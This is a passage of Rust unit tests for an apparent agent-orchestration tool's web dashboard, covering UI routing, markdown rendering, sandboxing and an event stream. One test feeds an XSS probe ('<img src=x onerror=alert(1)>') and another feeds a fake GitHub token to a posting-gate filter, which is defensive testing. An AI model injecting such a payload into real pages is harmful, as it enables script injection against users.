21275 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21276 let note = body("function landRoundNote");
21277 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21278 assert!(note.contains("Land round ${round}"));
21279 let land = body("function renderLand");
21280 let note_at = land
21281 .find("landRoundNote(pr)")
21282 .expect("renderLand uses the note");
21283 assert!(
21284 note_at
21285 < land
21286 .find("roundRail(pr)")
21287 .expect("renderLand uses the rail")
21288 );
21289 }
21290
21291 #[test]
21292 fn the_runs_page_redesign_keeps_its_guards() {
21293 let body = |name: &str| {
21294 let at = APP_JS
21295 .find(name)
21296 .unwrap_or_else(|| panic!("{name} missing"));
21297 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21298 };
21299 let land = body("function renderLand");
21301 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21302 assert!(
21303 !land.contains("box.append("),
21304 "renderLand must use append()"
21305 );
21306 assert!(land.contains("append(box, ["));
21307 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21309 assert!(
21310 body("function applyRoute")
21311 .contains("route.name !== state.route.name || route.id !== state.route.id")
21312 );
21313 assert!(!APP_JS.contains("adviseConvergeDiagram"));
21315 assert!(!INDEX_HTML.contains("advise-converge"));
21316 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21317 assert!(APP_JS.contains("provisional"));
21318 for id in [
21319 "run-tab-overview",
21320 "run-tab-timeline",
21321 "run-tab-report",
21322 "run-report",
21323 "runs-scope",
21324 ] {
21325 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21326 }
21327 assert!(!INDEX_HTML.contains("runs-tree"));
21328 assert!(!INDEX_HTML.contains("run-raw-panel"));
21329 assert!(APP_JS.contains("resume"));
21331 assert!(APP_JS.contains("unreadable"));
21333 }
21334
21335 #[test]
21336 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21337 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21338 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21339 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
21340 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21341 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21342 assert!(APP_JS.contains("unreadable` : null"));
21344 }
21345
21346 #[test]
21347 fn blocked_run_detail_exposes_the_failed_gate_reason() {
21348 let mut state = RunState::new(
21349 "/repo".into(),
21350 "main".into(),
21351 "abc".into(),
21352 "task".into(),
21353 crate::config::Config::default(),
21354 );
21355 state.status = RunStatus::Blocked;
21356 state.gate_ran = true;
21357 state.gate.push(crate::run::CommandOutcome {
21358 command: "cargo make check".into(),
21359 code: Some(1),
21360 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21361 duration_ms: 0,
21362 resource_blocked: false,
21363 });
21364 let view = RunDetailView::of(
21365 state,
21366 false,
21367 crate::run::Liveness::Unknown,
21368 None,
21369 None,
21370 None,
21371 );
21372 let value = serde_json::to_value(view).unwrap();
21373 assert_eq!(
21374 value["stop_reason"],
21375 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21376 );
21377 }
21378
21379 #[test]
21380 fn the_run_detail_payload_says_whether_the_run_is_done() {
21381 for (status, done) in [
21383 (RunStatus::Superseded, true),
21384 (RunStatus::Blocked, true),
21385 (RunStatus::Landing, false),
21386 ] {
21387 let mut state = RunState::new(
21388 std::path::PathBuf::from("/repo"),
21389 "main".to_owned(),
21390 "abc".to_owned(),
21391 "x".to_owned(),
21392 crate::config::Config::default(),
21393 );
21394 state.status = status;
21395 let v = serde_json::to_value(RunDetailView::of(
21396 state,
21397 false,
21398 crate::run::Liveness::Unknown,
21399 None,
21400 None,
21401 None,
21402 ))
21403 .unwrap();
21404 assert_eq!(v["done"], done, "{status:?}");
21405 }
21406 }
21407
21408 fn has_strong(nodes: &[md::Node]) -> bool {
21410 serde_json::to_string(nodes).unwrap().contains("strong")
21411 }
21412
21413 #[test]
21414 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21415 let mut state = RunState::new(
21416 std::path::PathBuf::from("/repo"),
21417 "main".to_owned(),
21418 "abc".to_owned(),
21419 "x".to_owned(),
21420 crate::config::Config::default(),
21421 );
21422 let proposal = |approach: &str| {
21423 serde_json::json!({
21424 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21425 })
21426 };
21427 state.advice = Some(
21428 serde_json::from_value(serde_json::json!({
21429 "records": [
21430 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21431 "proposal": proposal("do **this**")},
21432 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21433 ],
21434 "synthesis": "- one\n- **two**\n\n`code`",
21435 }))
21436 .unwrap(),
21437 );
21438 state.candidates = serde_json::from_value(serde_json::json!([
21439 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21440 "summary": "did **it**"},
21441 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21442 ]))
21443 .unwrap();
21444 state.reviews = serde_json::from_value(serde_json::json!([{
21447 "round": 1, "head": "h",
21448 "reviews": [{
21449 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21450 "findings": [
21451 {"severity": "nit", "title": "t1", "detail": "plain nit"},
21452 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21453 ],
21454 }],
21455 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21456 "fix": {"agent": "a", "notes": "fixed **it**",
21457 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21458 }, {"round": 2, "head": "h2", "reviews": []}]))
21459 .unwrap();
21460
21461 let v = serde_json::to_value(RunDetailView::of(
21462 state,
21463 false,
21464 crate::run::Liveness::Unknown,
21465 None,
21466 None,
21467 None,
21468 ))
21469 .unwrap();
21470
21471 let strong = |p: &str| {
21472 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21473 assert!(n.to_string().contains("strong"), "{p}: {n}");
21474 };
21475 strong("/advice_md/synthesis");
21476 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21477 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21478 strong("/advice_md/approaches/0");
21479 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21480 strong("/candidate_summaries_md/0");
21481 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21482 strong("/reviews_md/0/reviewers/0/summary");
21483 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21484 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21485 assert!(f[1].to_string().contains("strong"));
21486 strong("/reviews_md/0/reconsideration/0");
21487 strong("/reviews_md/0/fix/notes");
21488 strong("/reviews_md/0/fix/rejected/0");
21489 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21490 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21491 assert_eq!(v["candidates"][0]["summary"], "did **it**");
21493 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21494 }
21495
21496 #[test]
21497 fn a_run_without_advice_has_no_advice_md() {
21498 let state = RunState::new(
21499 std::path::PathBuf::from("/repo"),
21500 "main".to_owned(),
21501 "abc".to_owned(),
21502 "x".to_owned(),
21503 crate::config::Config::default(),
21504 );
21505 let p = run_prose_md(&state);
21506 assert!(p.advice_md.is_none());
21507 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21508 }
21509
21510 #[test]
21511 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21512 let store = ask::Questions::at(PathBuf::from("unused"));
21513 let gt = crate::github_text::Withheld {
21514 title: false,
21515 body: true,
21516 categories: vec!["sensitive-data".into()],
21517 };
21518 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21519 let (detail, comparison) =
21520 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21521 let mut q = Question::new(
21522 "r".into(),
21523 "github-text".into(),
21524 "posting-gate".into(),
21525 "s".into(),
21526 detail,
21527 Vec::new(),
21528 );
21529 assert!(
21530 QuestionView::of(q.clone(), &store, None)
21531 .posting_view
21532 .is_none()
21533 );
21534 q.posting_comparison = Some(comparison);
21535 let view = QuestionView::of(q.clone(), &store, None);
21536 let field = &view.posting_view.unwrap().fields[0];
21537 assert_eq!(
21538 field
21539 .original
21540 .iter()
21541 .map(|f| f.text.as_str())
21542 .collect::<String>(),
21543 body
21544 );
21545 assert!(field.original[0].text.starts_with("<img"));
21546 let original_question: Question =
21547 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21548 assert_eq!(original_question, q);
21549 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21550 .original
21551 .start = 1;
21552 assert!(
21553 QuestionView::of(q.clone(), &store, None)
21554 .posting_view
21555 .is_none()
21556 );
21557 q.posting_comparison = original_question.posting_comparison;
21558 q.detail.push_str("extra context");
21559 assert!(
21560 QuestionView::of(q.clone(), &store, None)
21561 .posting_view
21562 .is_some()
21563 );
21564 q.detail.insert(0, 'x');
21565 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21566 }
21567
21568 #[test]
21569 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21570 let store = ask::Questions::at(PathBuf::from("unused"));
21571 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21572 let gt = crate::github_text::Withheld::from_check(
21573 &crate::github_text::check("fix: x", body),
21574 "fix: x",
21575 body,
21576 )
21577 .unwrap();
21578 let (detail, comparison) =
21579 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21580 let mut q = Question::new(
21581 "r".into(),
21582 "github-text".into(),
21583 "posting-gate".into(),
21584 "s".into(),
21585 detail,
21586 Vec::new(),
21587 );
21588 q.posting_comparison = Some(comparison);
21589 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21590 let field = &value["posting_view"]["fields"][0];
21591 let group = &field["replacement_group"];
21592 let triggers = group["triggers"].as_array().unwrap();
21593 assert_eq!(triggers.len(), 2);
21594 assert_ne!(triggers[0], triggers[1]);
21595 for id in triggers {
21596 assert!(
21597 field["original"]
21598 .as_array()
21599 .unwrap()
21600 .iter()
21601 .any(|f| &f["pair"] == id)
21602 );
21603 assert!(
21604 !field["changed"]
21605 .as_array()
21606 .unwrap()
21607 .iter()
21608 .any(|f| &f["pair"] == id)
21609 );
21610 }
21611 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21612 group["id"].as_u64().unwrap() as usize;
21613 assert!(
21614 QuestionView::of(q, &store, None).posting_view.is_none(),
21615 "group and trigger IDs cannot collide"
21616 );
21617 }
21618
21619 #[test]
21620 fn a_question_view_carries_markdown_for_each_thread_turn() {
21621 let home = TempDir::new().unwrap();
21622 let store = ask::Questions::at(home.path().join("questions"));
21623 let mut q = Question::new(
21624 "run".to_owned(),
21625 "implement".to_owned(),
21626 "impl-A".to_owned(),
21627 "which?".to_owned(),
21628 String::new(),
21629 Vec::new(),
21630 );
21631 q.say("plain words").unwrap();
21632 q.reply("use **this**", Vec::new()).unwrap();
21633 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21634 let bodies = &v["thread_bodies_md"];
21635 assert_eq!(bodies.as_array().unwrap().len(), 2);
21636 assert!(!bodies[0].to_string().contains("strong"));
21637 assert!(bodies[1].to_string().contains("strong"));
21638 }
21639
21640 #[test]
21641 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21642 let home = TempDir::new().unwrap();
21643 let store = ask::Questions::at(home.path().join("questions"));
21644 let mut q = Question::new(
21645 "run".to_owned(),
21646 "conduct".to_owned(),
21647 "conduct".to_owned(),
21648 "which?".to_owned(),
21649 String::new(),
21650 Vec::new(),
21651 );
21652 q.say("plain words").unwrap();
21653 q.thread.push(ask::Turn {
21654 who: ask::Who::Agent,
21655 body: "Settled as `merge`".to_owned(),
21656 at: jiff::Timestamp::now(),
21657 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21658 });
21659 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21660 let notes = &v["thread_notes_md"];
21661 assert_eq!(notes.as_array().unwrap().len(), 2);
21662 assert!(notes[0].is_null());
21663 let text = notes[1].to_string();
21664 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21665 assert!(APP_JS.contains("ask-turn-note"));
21666 }
21667
21668 #[test]
21669 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21670 assert!(APP_JS.contains("function landView(run, raw) {"));
21674 assert!(
21675 APP_JS.contains(
21676 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21677 )
21678 );
21679 assert!(APP_JS.contains("const pr = landView(run, raw);"));
21680 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21681 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21682 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21683 }
21684
21685 #[test]
21686 fn live_runs_are_never_hidden_or_folded_as_superseded() {
21687 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
21688 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21689 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21690 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21691 }
21692
21693 #[test]
21694 fn review_rounds_label_a_distinct_verified_head() {
21695 assert!(APP_JS.contains("round.verified_head"));
21696 assert!(APP_JS.contains("verified HEAD"));
21697 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21698 }
21699
21700 #[test]
21701 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21702 assert!(APP_JS.contains("blocked: { glyph:"));
21706 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21707
21708 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21712 assert!(
21713 APP_JS.contains(
21714 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21715 ),
21716 "the note line must name what a blocked task is waiting on, not just that it is blocked"
21717 );
21718 assert!(APP_JS.contains("if (status === \"blocked\") {"));
21722
21723 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21727 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21728 assert!(
21729 APP_JS.contains("location.hash = \"#/questions\";"),
21730 "a question node must jump to the Questions screen, not pretend to be a task"
21731 );
21732
21733 assert!(APP_JS.contains("Resolved questions"));
21736 assert!(APP_JS.contains("r.answersList.append("));
21737 assert!(APP_CSS.contains(".task-answers"));
21738 {
21739 let start = APP_JS
21740 .find("function updateTalkTaskRow")
21741 .expect("updateTalkTaskRow");
21742 let body = &APP_JS[start..];
21743 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21744 assert!(
21745 body.contains(
21746 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21747 ),
21748 "a chat-filed task row must link to the task page"
21749 );
21750 assert!(
21751 !body.contains("#/runs/") && !body.contains("#/queue/"),
21752 "the row must not branch to a run or the queue card"
21753 );
21754 assert!(APP_CSS.contains(".talk-task-link"));
21755 }
21756 }
21757
21758 #[test]
21759 fn a_task_notification_links_to_the_task_page() {
21760 let start = APP_JS
21762 .find("function noticeLink(")
21763 .expect("noticeLink exists");
21764 let body = &APP_JS[start..];
21765 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21766 assert!(
21767 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21768 "a task notice's link must target the task page"
21769 );
21770 assert!(
21771 !body.contains("#/queue/"),
21772 "regression: the task link must not go back to the Backlog route"
21773 );
21774 assert!(
21775 APP_JS.contains(
21776 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21777 ),
21778 "`#/tasks/<id>` must parse into the task route"
21779 );
21780
21781 assert!(
21783 APP_JS.contains(
21784 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21785 ),
21786 "`#/queue/<id>` must parse into a route carrying that id"
21787 );
21788
21789 assert!(APP_JS.contains("state.queueFocus = route.id;"));
21793 assert!(APP_JS.contains("function consumeQueueFocus()"));
21794 assert!(APP_JS.contains("jumpToTask(id)"));
21795 }
21796
21797 #[test]
21798 fn notifications_distinguish_actionable_questions_from_informational_notices() {
21799 let start = APP_JS
21800 .find("function noticeCoveredBy(")
21801 .expect("noticeCoveredBy exists");
21802 let body = &APP_JS[start..];
21803 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21804
21805 assert!(body.contains("Associated question ${short}"));
21807 assert!(!body.contains("el(\"a\""));
21808
21809 assert!(body.contains("(resolved)"));
21811 assert!(body.contains("(closed)"));
21812
21813 let start = APP_JS
21814 .find("function renderNotifications()")
21815 .expect("renderNotifications exists");
21816 let body = &APP_JS[start..];
21817 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21818
21819 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21821 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21822 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
21823 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21824 }
21825
21826 #[test]
21829 fn chat_rows_put_the_title_alone_on_the_first_line() {
21830 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
21831 assert!(APP_CSS.contains(
21832 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21833 ));
21834 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21835 assert!(APP_JS.contains("class: \"badge talk-unread\""));
21836 }
21837
21838 #[test]
21839 fn run_rows_put_the_title_alone_on_the_first_line() {
21840 assert!(
21841 APP_CSS.contains(
21842 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
21843 )
21844 );
21845 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21846 assert!(APP_JS.contains("class: \"card run-card\""));
21847 assert!(APP_JS.contains("class: \"repo run-id\""));
21848 }
21849
21850 #[test]
21854 fn wide_screens_show_list_and_preview_side_by_side() {
21855 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21857 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21858 assert!(APP_CSS.contains("main[data-split]"));
21859 assert!(APP_CSS.contains("body[data-split]"));
21860
21861 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
21863 assert!(
21864 APP_JS.contains(
21865 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21866 )
21867 );
21868 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21869 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21870 assert!(INDEX_HTML.contains("id=\"split-empty\""));
21871
21872 assert!(APP_JS.contains("function markSelected() {"));
21874 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21875 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21876 assert!(
21878 APP_CSS.contains(
21879 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21880 )
21881 );
21882
21883 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21885 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21886 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21887 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21888
21889 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21893 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21894 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21895 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21896
21897 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21899 }
21900
21901 #[test]
21902 fn panel_sandbox_carries_exactly_popups() {
21903 let needle = "sandbox: \"";
21904 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21905 assert_eq!(
21906 matches.len(),
21907 1,
21908 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21909 );
21910 let start = matches[0].0 + needle.len();
21911 let end = APP_JS[start..]
21912 .find('"')
21913 .expect("sandbox attribute value must be terminated by a closing quote");
21914 let val = &APP_JS[start..start + end];
21915 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21916 let expected: std::collections::BTreeSet<&str> =
21917 ["allow-popups", "allow-popups-to-escape-sandbox"]
21918 .into_iter()
21919 .collect();
21920 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21921 assert!(
21922 !tokens.contains("allow-scripts"),
21923 "allow-scripts must never be present in sandbox"
21924 );
21925 assert!(
21926 !tokens.contains("allow-same-origin"),
21927 "allow-same-origin must never be present in sandbox"
21928 );
21929 }
21930
21931 #[test]
21932 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21933 assert!(
21942 APP_JS.contains(
21943 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
21944 ),
21945 "the search-clearing branch must run before state.queueFocus is cleared, or the \
21946 recursive renderQueue() call has nothing left to jump to"
21947 );
21948 assert!(
21949 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21950 "state.queueFocus must be cleared only once the jump has landed, so a card that \
21951 arrives later still gets it"
21952 );
21953 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21954 assert!(APP_JS.contains("is not in the current Backlog."));
21955 assert!(APP_JS.contains("li.card[data-task-id=\""));
21956 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21957 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21958 assert!(APP_CSS.contains(".card-permalink"));
21959 assert!(APP_CSS.contains(".queue-focus-status"));
21960 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21961 }
21962
21963 #[test]
21964 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21965 assert!(
21973 APP_JS.contains(
21974 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21975 ),
21976 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21977 );
21978 }
21979
21980 #[test]
21981 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21982 assert!(
21983 APP_JS.contains("round.verified_head !== round.head"),
21984 "a round that verified an earlier commit must be visibly distinct from one that \
21985 verified the head reviewers are looking at now"
21986 );
21987 assert!(
21988 APP_JS.contains("round.verified_at"),
21989 "when a check ran must be on the wire, not just which commit"
21990 );
21991 assert!(
21992 APP_JS.contains("resource_blocked"),
21993 "a command magi never got to run (shared build cache contention) must not render \
21994 the same as a command that ran and failed"
21995 );
21996 }
21997
21998 #[test]
21999 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22000 assert!(
22008 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22009 "every KPI tile built through statusTile() must route its click through \
22010 openRunsFiltered, the single place that sets the Runs filter"
22011 );
22012 for (label, status) in [
22013 ("Merged", "merged"),
22014 ("Ready", "ready"),
22015 ("Blocked", "blocked"),
22016 ("Stalled", "stalled"),
22017 ] {
22018 let call = format!("statusTile(\"{label}\", t.{status}, ");
22019 assert!(
22020 APP_JS.contains(&call),
22021 "expected the {label} KPI tile built via {call}..."
22022 );
22023 assert!(
22024 APP_JS.contains(&format!("status === \"{status}\"")),
22025 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22026 compare a run against, not one invented only for the stats tile"
22027 );
22028 }
22029 assert!(
22030 APP_JS.contains("function openRunsFiltered(status)"),
22031 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22032 );
22033 assert!(
22034 APP_JS.contains(
22035 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22036 ),
22037 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22038 );
22039 assert!(
22047 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
22048 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22049 hashchange event that may never fire"
22050 );
22051 }
22052
22053 #[test]
22054 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22055 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22061 assert!(
22062 APP_JS.contains(
22063 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
22064 ),
22065 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22066 guard for an incompatible tree section"
22067 );
22068 }
22069
22070 #[test]
22071 fn every_stats_queue_tile_names_a_real_queue_section() {
22072 assert!(
22078 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22079 "every queue tile built through sectionTile() must route its click through \
22080 openQueueSectionFocus"
22081 );
22082 for key in ["upnext", "running", "done", "held", "blocked"] {
22083 assert!(
22084 APP_JS.contains(&format!("{{ key: \"{key}\",")),
22085 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22086 );
22087 }
22088 for line in [
22092 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22093 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22094 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22095 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22096 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22097 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22098 ] {
22099 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22100 }
22101 }
22102
22103 #[test]
22104 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22105 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22112 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22113 assert!(APP_JS.contains("function revealQueueSection(details)"));
22114 assert!(
22115 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
22116 "renderQueue() must consume both focus channels on every pass"
22117 );
22118 assert!(
22119 APP_JS.contains(
22120 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
22121 ),
22122 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22123 the recursive renderQueue() call has nothing left to reveal"
22124 );
22125 assert!(
22126 APP_JS.contains(
22127 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
22128 ),
22129 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22130 );
22131 assert!(
22139 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
22140 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22141 hashchange event that may never fire"
22142 );
22143 }
22144
22145 #[tokio::test]
22146 async fn the_change_stream_announces_the_current_revisions_on_connect() {
22147 let f = Fixture::start().await;
22148
22149 let mut socket = tokio::net::TcpStream::connect(f.addr)
22150 .await
22151 .expect("connect");
22152 socket
22153 .write_all(
22154 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22155 )
22156 .await
22157 .expect("write request");
22158
22159 let mut seen = String::new();
22162 let mut buf = [0u8; 1024];
22163 while !seen.contains("event: change") {
22164 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22165 .await
22166 .expect("the stream must speak within five seconds")
22167 .expect("read");
22168 assert!(read > 0, "the server closed the change stream: {seen}");
22169 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22170 }
22171
22172 assert!(
22173 seen.to_lowercase()
22174 .contains("content-type: text/event-stream"),
22175 "the browser only reconnects automatically for a real SSE stream: {seen}"
22176 );
22177 let data = seen
22178 .lines()
22179 .find_map(|l| l.strip_prefix("data:"))
22180 .expect("a data line");
22181 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22182 assert!(
22183 payload["queue_rev"].is_u64()
22184 && payload["runs_rev"].is_u64()
22185 && payload["questions_rev"].is_u64()
22186 && payload["talks_rev"].is_u64()
22187 && payload["notifications_rev"].is_u64()
22188 && payload["loop_rev"].is_u64(),
22189 "the client needs one revision per store to know what to refetch, \
22190 and `talks_rev` is the only notification a standing talk gets - a \
22191 phone whose radio slept through a turn learns about it here, as \
22192 does one whose operator started the loop from another device: \
22193 {payload}"
22194 );
22195
22196 let health = f.get("/api/health").await.json();
22203 for key in [
22204 "queue_rev",
22205 "runs_rev",
22206 "questions_rev",
22207 "talks_rev",
22208 "notifications_rev",
22209 "loop_rev",
22210 ] {
22211 assert!(
22212 health[key].is_u64(),
22213 "health is the change stream's fallback and is missing `{key}`: {health}"
22214 );
22215 }
22216 }
22217
22218 #[tokio::test]
22219 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
22220 let home = TempDir::new().expect("temp home");
22221 let ui = delta_test_ui(home.path());
